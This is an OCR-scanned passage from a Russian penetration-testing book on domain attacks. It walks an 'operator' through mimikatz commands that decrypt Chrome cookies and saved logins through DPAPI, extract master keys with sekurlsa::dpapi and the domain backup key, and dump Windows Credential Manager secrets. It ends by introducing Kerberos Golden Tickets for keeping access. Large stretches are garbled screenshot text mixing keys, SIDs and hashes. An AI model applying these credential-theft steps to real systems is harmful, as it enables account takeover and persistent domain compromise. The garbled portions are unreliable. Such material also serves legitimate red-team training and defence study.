привязанных к конкретному пользователю или системе. Это позволяет приложени
ям защищать пользовательские данные, не беспокоясь о таких вещах, как управле
ние ключами.
Пароль юзера используется для получения мастер-ключа. Эти ключи расположены
папке С : \Users\<USER>\AppData \Roaming\Microsoft\ Protect \<SID>\<GUID>, где <SID>
имя мастер-ключа. Поль
это идеmификатор безопасности пользователя, а <GUID>
з9ватель может иметь несколько мастер-ключей. Этот мастер-ключ необходимо
расшифровать с помощью пароля пользователя или ключа резервного копирования
домена, а затем применить для расшифровки mобых данных DPAPI. Поэтому, если
мы попытаемся расшифровать зашифрованный пользователем объект данных
DPAPI (например, cookie Chrome), нам нужно получить конкретный мастер-ключ
пользователя.
В
-
-
ТТО , ис nользуk)щее DPAPI
Chrome использует DPAPI для хранения двух основных типов данных, которые ин
тересуют оператора: содержимого файлов cookie и сохраненных паролей. Файлы
COOkie расположены ПО пути % localappdata% \Google \Chrome\User Data\Default\Cookies,
% l ocalappdata% \Google\Chrome \User Da ta \Default \Login Data.
а данные авторизации
В большинстве систем % localappdata% сопоставляется с С: \Users\<USER>\AppData\
Local. Но сами шифрованные данные хранятся в базе данных SQLite, с которыми
способен работать mimikatz. Так как у меня установлен Chrome Dev, то в примере
вместо директории Chrome используется директория Chrome Dev.
-
Просмотреть список файлов cookie и учетных данных с помощью mimikatz можно
следующим образом (рис. 6.37, 6.38):
mimi katz # dpapi : : chrome / in : " % localappdata% \Google \Chrome Dev\
User Data\Default\Cookies"
Рис. 6.37. Cookie, хранящиеся в базе данных
Глава б
124
l rrt ikat<.': tl tipcl p i : : с )11•щ1н: / i n : "C : '-tJse1�s,t•o o t , A µpD�'\ta'(,oc a l 'Go o � le'Cl11•o riн� Dev,-IJ s e t• Data,De f a ц l t,Lн g i n Dnt:�··
) [нc1•1JLJted Кеу f o ttn(t ir1 loc t1 l s t a t e f i lc
> r·nct•ypt e <i Кеу :-;eerris to he iH'otectect hy ))fAP(
2/ (
JR!.
: l1t t p : //
l!:P.1•nnne : 1•oo t
.RROR lш}1 l ._ci1_.dvnµi .c J11·0 -.e�.deca·y�1t
1
: }1t t p : //1········« / (
IНI,
t;�t·н<.'\ne :
'RHOB kнl1l_11t_dpapi_c )н·one_dec 1•ypt
l1t t p : //l
index . plop
)
; Nu A l� мн:\/оt· Нсу l1oщlle cle s p i t e AES e в c 1•yµt ion
httJ} : //J······f' /
>
; �о A lf:J and/ot• Ксу J1,cщ d lc de�pite A ES cncJ•yl)tion
Рис. 6.38. Данные форм авторизации, хранящиеся в базе данных
·
mimi katz # dpapi : : chrome / in : " % localappdata% \Google\Chrome Dev\User Data\Defaul t \
Login Data"
Однако значения файлов cookie зашифрованы DPAPI с помощью мастер-ключа
пользователя, который, в свою очередь, защищен паролем пользователя (или кmо
чом резервного копирования домена). Есть несколько сценариев, в которых · мо
жет оказаться оператор, пытаясь получить данные файлов cookie (или данные для
входа).
1 . В контексте целевого польэоватеm:1
Самый простой случай, когда ваша сессия находится в контексте целевого пользо
вателя. При таком раскладе следует добавить в команду флаг /unprotect (рис. 6.39,
6.40).
mimi katz # dpapi : : chrome / in : " % localappdata% \Google\Chrome Dev\User
Data\Defaul t\Cookies" /unprotect
mimikatz # dpapi : : chrome /in : "%localappdata.%\Google\Chrome Dev\User Data\Default\Login
Data" /unprotect
Поскольку код выполняется в контексте пользователя, то его ключи будут неявно
использоваться для расшифровки. Единственная проблема, с которой может столк-
Рис. 6.39. Расшифрованные Cookie
Поиск критически важных данных при атаке на домен
125
i11t ik•� t � :t dp�pi : : с lн·оАе /in : ··c:,IJ-:crs,rootЧiJJIJD<1tn,l.nr:;' 1 'Cooч1 tl'C'l11•0"1t' Deu,ll3P''
> Eпc t•ypte(t Кеу f ot1nti iл loc�, 1 st«t.c f i le
> Enc1•ypted Кеу seens t o Ье
t e t e d hy DPAPI
" н::� i11н Ct•ypt. Un1н·ot,ct:tDo\t.:i nPI
> A E S Кеу is : 198W4"'6 e.:t8�19bЬ8?6624:d4S45b3a2h9 idUf 6bW49b4d22d66e10eStl2dlJ.df Ь923
Oi' t �1,Dc f.Aн l t', J,u�t i n Dat�·· /11np,·n t .� c t
pt•ti c
1Rt..
:
IRL
: l1tt.v ://
1••·················••r itнtf� x . µl111
11t t v : ;/•
se1•naмe : 1•oot
�
11s i нч BC:.-yvt \J i t t1 й ES··2Sf, сем
•.As�a1Ut•t
l : t\dni11
•
se1•ndme :
1.1 s i 1t!/ IJCi•ypt
���?\�U_!'.t!_:
*
t1tt.p: //····,···
/ <
u 1 t t1 AES··2Sf. G(;f1
>
>
Рис. 6.40. Расшифрованные данные форм авторизации
нуться оператор, - это невозможность открыть базу данных Cookies, когда она
используется Chrorne. Тогда необходимо просто скопировать файлы в другое место
и повторно использовать rnirnikatz.
2 . В контексте администратора
...
...
с активнои сессиеи целевого польэоватем
К примеру, оператор получил административный доступ к системе, в которой име
ются пользователи, в текущий момент времени вошедшие в систему. В этом случае
прошлый сценарий не сработает (рис. 6.4 1 ).
11in1k.-t.' 1 d1М:?�J 1 . : r. •1t
. '\ H 1 l �11J•fJ�t�,l.нr. C\ J °'\(;f14HJ l �Ч'1н·on;> J).-v,11 . r. J· D<itn'\f/e f ;щ lt'l•o9 1н
• fJH� /Н\ : ·�;;,ll"t-r•
) Eн�1·qptett l<eu fuшнl 1н lnt:"l • l t1t.e f , le
t
Ьу DPnP 1
��On����; г�D.,�� �p� tcct cd
> E����� ё�y:
RROR lшl1J
1la1•ч•i щ11н•о t.-t'
t1Jul1 ; нт�: НА() l<fY SHHf.
JHL
: tittp://1-2/ < l1ttp:,../l-i/ )
l·.�i·n"!Тff' : »i 1
_!!.�OR_�11J1l t1P«Vi c111���--�e:_t•чv1 Nu l'l_lч "'�111/or Кеч Ji.нi1He �t-;; µ�te
•
1'1
А
r'MJ
[l<)t�'
/1111111·11(�1 t.
O t'
•
••
АП: _e:_�G�Y�_i��------
_____
_
Рис. 6.41 . Неудачное расшифрование данных форм авторизации
Так происходит потому, что ключ пользователя в текущем контексте неявно не ис
пользуется. И как видно из сообщения rnimikatz, для работы необходим мастер
ключ пользователя (также сообщается GUID). Так как пользователь залогинен
в системе, его сессия открыта и DPAPI хранит его ключевую информацию
(рис. 6.42). Имея административный доступ, оператор может извлечь все данные
DPAPI, где и следует искать мастер-ключ (рис. 6.43).
mimi katz # privilege : : debug
mimi katz # sekurlsa : : dpapi
Теперь, когда оператор владеет мастер-ключом, он может использовать его для
расшифровки данных пользователя (рис. 6.44).
mimi katz # dpapi : : chrome / in : "C : \Users \<USER>\AppData\Local \Google \Chrome Dev\
User Data\Defaul t\Login Data" /unprotect /masterka y : [мастер-ключ ]
1 6 dc l f 3 ?2c401?2c4518fb3e
Рис. 6.42. Извлечение данных DPAPI
5 8 4 5 1 e 6 f 0649dd8
!•t ' p
Рис. 6.43. Ключевая информация целевого пользователя
48d4593b30f f 1 f548de00c 294ed1 f 9 f f 2acb5d3c
!'.• . ",. ,, ,._,
IH.
l•f t ••
1'> 1
"'
, ;,.,,,,1, J 11 1 '/ ':"J l l·I
!·1" t''li'' ".1 Kf· 1• 1
1 1 J, j, ) '
:.,1 1 1· i
" '·
!,·
н
Рис. 6.44. Расшифрованные данные формы авторизации пользователя
1 }11·"1·11•
! •1 : · : · JI 1-.·
f· i l fj L,1.J1,,t
l.1-. • ! с, .,,, 1 ,
111·0 , ( , , 11 · • !· ri . t " !1, ! .н1 i • '"''! ' �' f1. • "
н r , , 11•:, f p r l
п,1· t.1• 1•J\,' Ч : 1 _.1 ,111-1,1'' . t, f 1".'-1 f rr.'. 1 ·
�
. �n·;
·.".·1!11f,t. 1 • ', lt.•, ,. J ."!· • . ', tH
4 1 �1 e t-;"'/. 1'. .i·.'·.'·
' \! 1 1
' 1 1 ; 1· · t· . • •;i.1.J, t ·l \ ' , '/ ' ·�l1f•. 1 1" / ·1 ' ', f '.Jt
•IH1" io \ ,. , ,, !
t .• 1 •. 1 1
� l 11t f'Чi·'' 1· 11 }(1"1
•·1•f1
t " lн· ",.,. 1 •· < 1 1 ,_! 11
\t}'i1f' 1
" но, ir1'1 f:t•'.'\'11 Н о 1 ,.,, , ..., ! f1,,t • f)f !
• v 11 l.it 1 l r
, " fн
1;11 ! (1
1!;
· 1•,1-.·'it 1.!Jt ', ·\· 11
1!'11"�
,•_1 , � ,\ ·l l •l r· t ' . �:·· ·1!!
j , _ , ,J , J ·1'.'I \, lll! ! l l '"1H,!1·l1•1• '''.l tr·,J l l ·.· 1 l ;',11 !1', ,I
�. сч с� 41 tl•· ��'!�;J�. 1·1'.1·-rie .1•Н·,1:" 4t ::<ti,e4'f .:>t4c ('4l:>ci:ut;.ьtJl 44';. J'
1 '·� н !;:-. t 1!. �
� 4'.''"·, t 'it
• па:"r-:- >-ht> ·-1
; с A l•t(i4'1:. ;• � t_. .;·Jqt ". t,�_. 1 ',''!<.'J'ft Ч':' ",н',
.
1 4t t. � "! 1 t. I ;.;. " ',Ji.._, ·i'!1·,�
.• t-. 4._.. �.
; , •1 , ', ',', >.( ,.'/l•'/,"1 J '. : '� l l • '1 1',"J 1•,'' " ; 1 ·'11 ·1\ ' �1
, -,• ,1 :� ; ,. '1 \ J ! , 1 l f
l°
i J �; �
· 1· •1 1
""\ 1 n 1 �.tt :· U ,!р,1 р 1 :
" s l1al (key)
О ; 584085 <ОООООООО : ООО8е995 )
нt}1ent icat ion Id
] n t e 1• a c t i u e fl'oA 2
e s s ion
Bil
set• Hal"le
\ J l Н-1 BS6 F4LCHK2
ona.in
\! IH-1BS6F4LCHJ<2
ogoгi S e 1•v e 1:·
1 ? . 03 . 2020 1 з : 5 1 : 2 з
ogon T ime
s-1-5-21-29?5?89ьо1-2ы194з5зs-зв29519(i)2 в - 1 005
ID
[00000000
{4b35628f-60f5-4536-a862-2a9e 1 d 4 1 d e f 2 )
" GU I D
1 ? . 03 . 2020 1 3 : 5 1 : 5 5
* T i111e
ca1dd4d2c554?4f5551?809 6 З e a a 6 1 4 f c 9 ?9 3 Ыae?54966 6 4 e 5 3 6 9 c e 1 2 d e c 2 c 6 3 8 3 2 4 1 d e 8 e 9 2 3 59??99e34654f395e49a4cc45ce066Ы44595dbf 5 f 0c 2 4?5f
* Maste1•Hey
" sl1a l < key)
О ; 1 9 3 2 5 2 <00000000 : 0002 f 2e 4 >
нt}1ent ica.t ion l d
I n terac t iu e frorrt 1
e .s s ion
1·oot
se1· Nar.te
\11 N-1BS6 F4LCNJ<2
ol"\ain
\Н N-1BS6 F4LCNJ<2
ogon S e 1•ve1·
1 ? . 03 . 2 020 1 3 : 3 9 : 45
ogon Т irТJe
S-1-5-21 -29?5?89604-2 6 2 1 9 4 3 5 3 8 - 3 8 2 9 5 1 9 02 8 - 1 001
ID
!00000(i)0(i)]
{2?915929-c ?4d-4bf 4-8418-895ba033030a)
" GU I D
1 ? . 03 . 2020 1 4 : 34 : 1 ?
* T irrte
?50ac a 5 5 f 9 2 8 c 41 f ?c c e daa?d l c e 1 9 2 f ?e f c f 2 5 f 8 1 9 8 f c bd0df5d3 8 c l e 9 c ?de56030a4f ? f 5 c 5 4 8 6 02a2 f 3 c 4f abaa2 f l 9 b f f 5 1 1 42 e 2 40a3f03bd6b0f eeca14d
* Maste1'"J<ey
il"\ikatz # sekur l s a : : dpapi
iлikatz n p1• i v i lege : : de httg
1•ivi lege ' 2 0 ' 01<
О1
111
111
;;;i
111
.....
1\)
О1
Поиск критически важных данных при атаке на домен
127
C : ,Users,Bil,AppDatct,Rodming,Mic rosoft ,Protect )dir /a : s
IoN в !� с 1 1 н нt с r в е С н с Иt·1е е т ие1 к и .
Сериd ныИ нонер 1 о мсt : 167Е З UJ71
Соцержиtюе
17 . UJЗ . 2UJ2Ш
1 '7. UJЗ . 2UJ2UJ
1 7 . ШЭ . 2Ш2Ы
1 '/ . 03 . 2(,J2U
f1а11к и
1Э
1]
1J
13
С:
'!Jse t•s 'Bi 1Чlp11Ddta,Ro ,,ming,Mic l'Osof't, '1'1•u t ее t
< D I R>
< D I R>
2 4 GREDll J ST
S 1 5 21 29?5789ЬU1 2L2 194J5JH
< D I IO
24 б а И r
J 1 UJ 1 2 917 248 в а И т с в u & о ц н о
51
51
�1
�. 1
1 (�(н411ов
] 11(.\flOK
J H 2 9 5 1 902H 1 U05
Рис. 6.45. SID целевого пользователя
Э . В контексте администратора
без сессии целевого польэоватеЛJ1
Если целевой пользователь на текущий момент не вошел в систему, то для получе
ния его мастер-ключа необходимо знать его SID (рис. 6.45), GUID и пароль или
NТLМ-хеш пароля . Если пароль или хеш известен (а как получить хотя бы хеш,
рассказывалось ранее), то нужно узнать только SID, GUID мы получим из сообще
ния mimikatz (как в предыдущем пункте).
И теперь оператор может получить мастер-ключ (рис. 6.46).
mimi katz # dpapi : : chrome / in : "C : \Users \<USER>\AppData \Roaming\Microsoft\Protect\<SID>\
<GUID>" /sid : [SID] /password: [ пароль ]
Что делать дальше, уже подробно рассказывалось выше.
4 . Административный досту п
к контролле ру домена
Теперь рассмотрим случай, когда оператор не имеет хешей или паролей пользова
телей, при этом сами пользователи в настоящий момент не залогинены в системе.
Как уже говорилось, получить мастер-ключ можно с помощью ключа резервного
копирования домена (рис. 6.47). Ключ резервного копирования никогда не меняет
ся, и его можно использовать для расшифровки абсолютно любых ключей пользо
вателей домена.
mimi katz # privilege : : debug
mimi katz # lsadurnp : : backupkeys /sуstеm : [ контроллер домена] /export
Далее оператору нужен GUШ целевого пользователя (рис. 6.48).
Осталось получить мастер-ключ для этого пользователя (рис. 6.49).
dpapi : : masterkey /in : [ GUID]
/pvk : [ РVК-ключ]
Таким образом, мы рассмотрели все способы извлечения сохраненных паролей.
Глава б
128
а::
s
ж:
111
m
о
а.
s
111
7
2
�
а.
r::::
е
Е!
о
ж:
m
а.
Q)
...
Q)
а.
111
7
2
�
1а.
о
�111
::li
Q)
s
ж:
Q)
�
r::::
о
i::::
ф
....
ф
u
r::::
u
"
(1)
:s:
D..
<.;
"'
Е
.
...
"
"'
"
'
�
"'
""
.
"
.
•
.-< :><:
"'
"
"'
.
""
"'
i
о
•
""
�
"
·" 0
,
.;:;
""
,...;
'��
#
�
N "'
" �
е .-.
.......
-,..; ;:,.
Е ·м
·�f
'"
"
=
t
�
�
Е
1 1
щ
1 !Z!ЭФ
!; "
"'
S: !1 1 1
с ;::; ф р., •t"!•/"l•,..j
""
� ::i. �
"' "'
f o x .zi x • • •
1
...
И
:>с
!Э
U
"'
ul ul (.)!
"
"'
JШS
� X !Zl v
"
t/J " �'
"'
... о. i ZI
" "" ""
" "' х:а: х � ... ... "
""
о - ис м
с с с
"'
"
;�v =:.;;i
о
"""' ( �
"'
"
• � c r;c zi
1 1 1
о
> ...:l 'llf' Э И
-�
c:r;
<z: o :::н�.; z=; ;:x:: �
r UUNФ>OOO
.. .. " " " " " " " "
"
с
•
о
с � ....
Е .,.,
ш :..Q •
Q .:С:
"'
•1'-1
41
" . ...
:о. с
"
•
С: Е tt:
. ...
" Q) )( •""
"'
� 1: с е: ..... ..... ю •
"'
Ф� OJ E ..Q ...
•
. � OJ E w N :O. lt/ . с
• •.-! ::: ф•>-1•1"1 . " " 0 "
:J> а� :.. " � � lt/ о .
.
. . о
�
С) •М � О
• � � с Е Ф З'! :>'t �·мх ::;i.
:.. <1.1 � :::i - .-1 t.1 iU х :.. � х
�� м� �м м�(х:;Х :Х µ,J::i., """ Щ
1
"'
"'
"'
""
" "'
" "'
" "'
t*
,�
"'
"'
1
"'
"'
"
..,,
1
•
"'
"'
м
"'
•
"'
"'
у
•
"'
"'
•
•
•
""
"'
.
•
Мс
.r; c-0-- -. 0-M
A ..Q
� 11;:
� ....") � �
Q) \J:I '- 11$ ..С: .,..� м .::!
..... ... � IJ') V 4< д �
\J'I rJ :::O S C"'" ..Q: co м
() (,) f.o.,, ('\") .,..., " "' .
QQ >:+. S {"f') ...O A �::о
�
'\
H
.n N C"- � � ,..= ,_
l.O ...
.. ...t o- .-1 0 � \.f)
� !О �
.
н
... Э"t;; С"- 1'"1
tl) ...O CJ >i:i 11.'1 >t; "t: :....
,...i
::Q
:::O C.
Cl'\ i:'-1:' >J:;
'1=
0-. A J)
� ..Q
fJ i.."i
..Q Q,\ -l lD lt/ Y'"l ""' N
� Ф t"'H�! Q'- c+. C'- N
�N :;.! � � Ф � О'°"" � ::;o 'Q" c.;::i Ф Q'о "С
0-. N � C. "l;;: N ..Q M
� !J) "C t"- � M N !';i
"' "" " "' 1;.1 N "C ..n
V:J t°"" � «:1 0-- M ;.." N
� U O'- GO � � \...n Э
ц.. N OO O.I S CJ 1j t.;
� � .Q O:: t'Z N ':"'I .....
\Л СЭ "t:i � o-. r:c t"- ..Q
"'
.:;
1
"
"
...
ш '""' � са "'t! u N <c:r
U') � � QJ :::O -C!: t'- N
ID Ф � "Q C'- � Ф S
� ICi � C'- м ... a:i o-. �
::1>i QJ "Q O- ':"'I C'- &:11,,,.., 'Ci C-J
,µ .;:r::; t,1 ttS t"<J t"- N � M �
•М С1 UZ! IO S C' � '!""'!
.-1 ;)\Q<. ttl "" "l:J" t"- "f' � l.n
·l'f tJ .t::! M C°"' <XI M � N M
... lti M N � C:O ...t:l iri � "Ci
•1"1 :n("!') С. .дСО c;. � N ...O
� V � ..O c+. L() M :::i-- '-:i 10J
n:; ."H.� l.D tt\ Ч.. C'-J O'< с,! М
� N --::; м �"w r.J ('\- G
Е t м ..,..; l'tl N N i.Л Ulr
�
� ID ..Q ..,.. N "':: QO ..cl
"
о
....:
....
,;
�
�
-sьr��! ��ф
...
�
о
"'
х
UI
ф
u
:s:
D..
(!uUe�s ion
-нnsrERKEYs
tЮОООШОО
0
ШVJЫU01?4 - 3'12
00Q0(I088 - 136
104
ШfJeOl.:11!168
2
{S11f229??··962И-1fl9'1-"6З2-1\6Зbldli104'ldl}
Ofol�ПGQQA - lil
f•IШOOШJN2 -
gt�
bll1<t�t е rH�№
µbSec1•et
dнSec.1•ctLen
dнAcceг.::cl1er.bl.en
d�����7�['/.....
dt1Ue1·� ion
е
f!J{!]l!H30W!iJ2 - 2
t\llilblUUlliJ@ - 2Sb
bll!WJE10fiJS8 - 88
{2fl??6c?П-lo69З-4it4b-·Rii5-' -743fс.9253616.}
65 4ее211410cabl",?SЗ91 4bll 1>7?2Jf812571е31с3?(13?1 мlbcЗ4S.d31fнblSf ЗS 104Se2?hf a68f>bi'ltif12S}П4??БВJ
1 'Je.,ll6Se 4'5fсi!Jc?6йЬf1>41.12bc?S11670f.a1 а1е2<11 21.1e9'5f80f8it6e8f d18e9t:: 00d4?18fl2?210Зitef ЬЗSЗ29?9'с f 9
- 2
6В1еd9еЗЗЗdЬс119?581261hdd8!>60п9
01!JQ(И6SQ - 1800Ш
J
Н'IA C >
�1Шй081!109 - 32.'Гrl <CAl,G_
{J}f•lfil0f>6111 З - 26tJS < CfH.G...ЗDES>
1Slile212 Jf396662?1ЬЗ495?56е3J ?6ll
1 2607147'4f6 9?7!:13@297172�Ы9ce3JJ911241<J8254f J2e f33t12cl51 f ?ffiea?6 Зе085641 Ы Sl)JJП8�4tlc2Bb0132917а6Ыi11 uf4fl IJ?Jm209 IJ9?Sb2?
08800002
afiJ2 - d630d1<1.019d1 l'pvl�:ntds _capi_f.1_28??Gc'l8 bl193 · 4d4h- 8
Зdс4.е619ЗH9'l8f1Шс5f!"1f.6Зс4З2е628аЗdШlfН94fdd51..1e 955<\ef.Ь?6е1?4
· 1899
SID f1•11n p«th
�ee:i�
1
to )1�:
S-1-�-2i-З'?ЗЗ8ЗRсtЗS-609424fl , 2-4ПЗ(,2581R'>-11И9
kflli
���1;�;:��;r,r,
'.
'.
-:
Рис. 6.49. Получение мастер-ключа пользователя
?2�ii�c
�;�r,9,.,JJ<1"2 1 ?-1529 t 8G2<18S1:е с ta920f r, ?�I??t.. 2 :1 2с .f Зе?1: .1 836S!l2b<t3t<IЬ1.S1.le 1431Юbffi8f dr.-.:.2l1cfJ9bl:J234d21e?118 ff.4e928 J 470 r 7
::;\1<11 : 2492GSJ11Э0995S9f41bl28901JIJ7�"1df9t?610.:: 182
::; id ; S 1 S 21 3?33838535 &89424812 · 1Ы362SО185 1109
r dk��i�
[dorм if1kt-" l
нi t 11 vtJ 1,н 1 le с.н· ""': GIJ f [): fZn??f,,�?n··
11691-·4<1411 . 9,.,5.,....741f(,9zt;1f;4(,} ;TYPf: RSA
'
.
•
'.
1 .
з . " . • t " ' •• • '
: ' .
:
�f1<tl : �1�;;t·;!J /JUU'i':f��'Jf 11M:lN'iW1.Jh'la1M 'Jl '/bll!l11•IG:.!
sid : S-1-�-:>.i -З9ЗЗ8385ЗS-6Ы9121Н12-4ЮЬ2�8 18!:.-11U9
Анtо
:
89?fS8152S?cЗS2?cbf9S81bc3d8cdc 29€1797?df c�\e84ecSd842.oi.2$d0caЗSf19b291al?db22236d15cЬS6f12'523tlOu.1dblЗa6d219d00?0?0f 2Sa29Ш84J130hft\A1cdf?2205?1c2'59017cafS1102€100JcbSbb2?G()9eSe8391Зdc,,26cff2ЭdS"ЗЭd6J82?bJ
<1.5'520dd171аЬВ?21 d2blJb?c ?d2?2J<\?3406а9И171аЬ86 ЬЬ4705аЬа8сс 60Aa.0?82a1?1 •M14Jн:S9b5681S11.t1.Шf81c9c Ьdd92-1.2 9199983421Г�'е1с 1031ИсbSl!Jci.Ь8?9 Г9сЗd
рЬАс 1:e:i:н: 11есk
: Зс b8Sf2Ь?1bJ6;iЗcd4d9?6f803<'Ьfll.!:iU1 930ad6 fЗ<i9aJ2128bbd1 bЗOЗacScaOdb?ffebh6988c?63b5 f0'11J8?f Ud'!с91ff61.ad8ЫJ6!:idhfe4698f1 dS6f '7UaJ4Sdf f'lec Зf8d?684h1 91а955ЬS1Ь6�f96Ьed2d'l6e9Ь1е?58еа3?
{
ypt
:.���
t•otФdf!
al9flasJ1
Sdlt
01..,c;ku11ke'IJ
-мnsIERl([\'"M
[lt1Uorsion
Re
Рис. 6.48. GUID целевого пользователя
<DIR>
29
29
<DIR>
29
740 5 d f 2 2977 - 9 6 20 -4899 - a6 3 2 - d 6 30dla049 d l
29
9 0 4 BK-TOOHAIN
29
24 Pг eferт ed
3 файлов
1 668 байт
2 папок 10 3 7 9 9 0 2 9 7 6 байт свободно
00fi!Of:1fJllJ2 - 2
4<нtS2"1?5JJe447rt158bc2d4.�041ЬЗff с.11
\iJ00016SO ·· 18000
01!1008009
32?'l? <CnLG_ltMAC)
26115 <Cl'ILG_ЗDES >
a.lyC�·ypt
ЫООП6Ы1З
: 81 f86?ff Ь4Red!> MS 124P-lil282hc74?ca61 1110249Sc8ЬЬ32f\0.f 1 f с h?32Зc!>2f"'fЗ:1l!YIЗht'94?h9e102fSrtbИB'JddR4158bc Ь9fЗ59c@df 042cS.bЗ8d'Jc
pbl<e!1
t 4ЗdN Зdа.Че'lh836.3eЬ43dSo\.13dd8
d
-f1ASTERKEY,f\�UP.r� l.11n
sei1t
roun<ls
,,lyH<1c)1
<
L118
,
н
;J
щ pl<c y I
.en
cl•
·
I Ct-e dll i i;:tL
en
dt1DonainИeyLen
{111a::torl1eyJ
flwPlilHS
<lнl'tRsl:crKeyl.!!111
v
21
21
21
21
21
� k��:��;�� � �in: С: 'Usc1•s'v ivo,AppDM«'Ro,.,,miття,Microsof"t'-J'rotect'S'-1 -S-21- 39)38JS!iЗS ·Ь0?42<18 1 2 - "103&2S81H!i-11tl9,Sdf2297? ·?ЫU
17 . 0 3 . 2 0 2 0
17 . 0 3 . 2 0 2 0
17 . 0 3 . 2 0 2 0
17 . 0 3 . 2 0 2 0
17 . 0 3 . 2020
�
�ь
��� ;1�� � �
�ь
=
с 2
S>!G11i(!
а:s
Содержи�юе папки С : \Llseг s \ vi vo\дppDat a\Roaшi ng\Mi c r os oft\Pгot ect\S - 1 - 5 - 21- 3 9 3 38 38 5 3 5 - 609424812 - 4 0 3 62 5818 ) - 1109
Том в устройстве С не имеет метки .
Серийный номер тома : 0CD6-C9EB
С : \ IJ s e r· s \vivo\AppDat a\Roanti пg\t�i cг os oft\Pгot ect\S - 1 - 5 - 21- 3 9 3 3 8 3 8 5 3 5 - 609424812 - 40 36 2 5 8 18 5 - 1109>di r
.....
�
:х:
�
а,
:х:
Q)
�
Q)
3
Q)
6
с::
�
g>
�
�
�
�
.с
ф
�
�
�
с::
51
Глава б
130
Дис п етчер учетных данн ых
Диспетчер учетных данных, или Credential Manager, - это механизм, который по
зволяет управлять регистрационными данными пользователей (логин и пароль) для
доступа к сетевым ресурсам, а также сертификатами и учетными данными для раз
личных приложений (электронной почты, веб-сервисов и прочих, рис. 6.50). Рас
смотрим работу с диспетчером учетных данных на примере RDP.
Администрирование учетных данных
Просмотр и удаление сохраненных све,цений о входе для ве6-сайтов, подключ.енных приложений и
сетей.
УчеПtые дамые AJU1 Икrе.рнеrа
Архивация учетных данных
Восстан.овление учетных данных
Добавить учетные данные Windows
Учl!Тные данные Windows
TERMSRV/172.16.65.226
Изменено: Сегодня
Адрес в Интернете или сети:
Имя nоль;о11-ателJС
Пароль:
TERМSRV/172.16.65.2.26
е
TDOMAIN\Bil
••••• " .
Устойчиsость: Локальный компьютер
l!Ьменить
Удалить
.
Рис. 6.50. Сохраненные учетные данные в WCM через графический интерфейс
Найти те же данные с помощью командной строки можно следующим образом
(для английской лакали следует использовать строку / l i stcreds : "Windows
Credent ia l s " . ( pиc. 6.5 1):
> vaultcmd /listcreds : "Учетные данные Windows" /all
Эти учетные данные хранятся в каталоге
(рис. 6.52).
пользователя с : \Users \<USER>\AppData\Local \
Microsoft\Credentials\
С: '-U s e 1•s'-1•o o t. >v<ш 1 t c 111 t\ / l i s t c 1•e1\s : " Уч е т н ые цанн ые !Hndo\·IS " /a l l
Уче т н ые цан н ые в храни 11ище : Уч е т ные ца11 н ые !·lindoщ:;
Cxer·I•'- уче т н ых цан ных : У ч е т н ые цан н ые rr а р о л я цо�1е н а \·HndO\·IS
Ре с ур с : Do111a in : tai·ge t �T ERMSRU/1 ?2 . 1 6 . 6 5 . 2 2 6
Удос т о в е р е н и е : T DOMA I H'-B i l
СкрытыИ : Н е т
.:lе р еtн�ще н и е : Н е т
Св о И с т в о < И О э л е не 11 т а схены.
з н ач е н и е ) :
< 1 ШШ . 2 )
Рис. 6.51 . Сохраненные учетные данные в WCM через командную строку
Поиск критически важных данных при атаке на домен
131
C : ,U s e 1•s,root,AppD«t <1,Lo c a l'Mic1•o s o f't 'C1·ede п t i als )dir / а : s
Т о н в у сr р о й с т в е С не и и е е т 11е т к и .
СерийныИ нонер тона : 1 6 ?E-Зffi?i
Содержиное папки С : 'Use1·s'1•oo t ,AppDat a,Loc a l'Micl'osof t 'C1•e deвt ials
'1 8 . (iJ3 . 2(!}2(i)
18 . 03 . 2(i)2ffi
' 8 . mз . 2(i)2(i)
1
09 : 25
Ш9 : 25
Ш9 : 25
1
<DIIO
<DIIO
Ф«И11ов
2 па.пои
3 0 245
4 2 0 6102D52ЕЗА1Ш6ЕЗF4FЕЗВ4?ШЕS??DШЗ1
420 Байт
662 720 баИт СВОбО.ЦНО
Рис. 6.52. Учетные данные пользователя
а::
х
::ii
ж
:i::
С11
о:[
)(
::ii
:i::
lii
�
С11
3'
s
с;
s
:i::
С11
а.
)(
Q)
о
::i;
s
:эЕ
а.
Q)
о:[
о
(.)
м
11)
ф
u
:s:
1:1.
с;
Q)
...
С11
ID
о
�
а
r::::
Q)
::ii
ж
ж
С11
о:[
Q)
::ii
ж
lii
�
Q)
::ii
ж
ж
С11
ID
о
а.
-&
s
3
u
С11
а..
;Z
ф
u
:s:
1:1.
132
Глава б
Посмотрим на эти данные (рис. 6.53):
dpapi ; : cred / in : C : \Users \<USER>\AppData\Local\Microsoft \Credential s \ [ xpaнилищe ]
Самое интересное здесь - это pbData (данные, которые нужно расшифровать)
и guidМasterKey. Как получить мастер-ключ, мы рассмотрели раньше (эту стадию мы
пропустим). Давайте расшифруем учетные данные (рис. 6.54):
dpapi : : cred / in : C : \Users \<USER>\AppData\Local\Microsoft \Credentials\ [ xpaнилищe ]
/masterkeys : [мастер-ключ]
Подобным образом можно извлечь любые данные, сохраненные в WCM.
ГЛАВА 7
Сохранение доступа
при атаке на домен
Представьте, что мы скомпрометировали привилегированные учетные записи, ис
пользуя разные техники повышения привилегий, распространились по сети, скры
лись от средств обнаружения, но неожиданно потеряли контроль над доменом, по
тому что администратор по какой-то причине сменил пароль! В этой главе мы раз
берем способы сохранить административный доступ, даже если администратор
сменил пароли или разрешения.
Kerberos Golden Tickets
Один из способов сохранить доступ к системе - сформировать Golden Ticket: па
роль учетной записи krЬtgt не будет изменен при тех же условиях, при которых
может быть изменен пароль администратора.
Golden Ticket - это поддельные билеты для выдачи билетов, также называемые
аутентификационными билетами (они же TGT). Если посмотреть на схему аутен
тификации Kerberos в случае Golden Ticket, то можно заметить, что подлинность
Kerberos не проверяется (AS-REQ и AS-REP с контроллером домена). Так как
Golden Ticket является поддельным TGT, он отправляется контроллеру домена как
часть TGS-REQ для получения билета TGS (рис. 7. 1 ).
Золотой билет Kerberos - действительный билет Kerberos TGT, поскольку он
зашифрован и подписан доменной учетной записью Kerberos ( krЬtgt). А т. к. TGT
зашифрован хешем пароля krЬtgt и может быть расшифрован любой службой КDС
в домене, то билет и воспринимается как реальный. Дг�я того чтобы сделать Golden
Ticket, нам необходимо знать следующее:
1 . SPN домена.
2. SID домена.
3 . NТLМ-хеш доменной учетной записи
krЬtgt.
4. Имя пользователя, под которым буд'ет работать оператор (даже если такого
пользователя не существует).
Гла ва 7
134
Контроллер доме на
Рис. 7.1. Схема аутентификации KerЬeros с Golden Ticket
Так как имя пользователя может быть любым, остается найти три недостающих
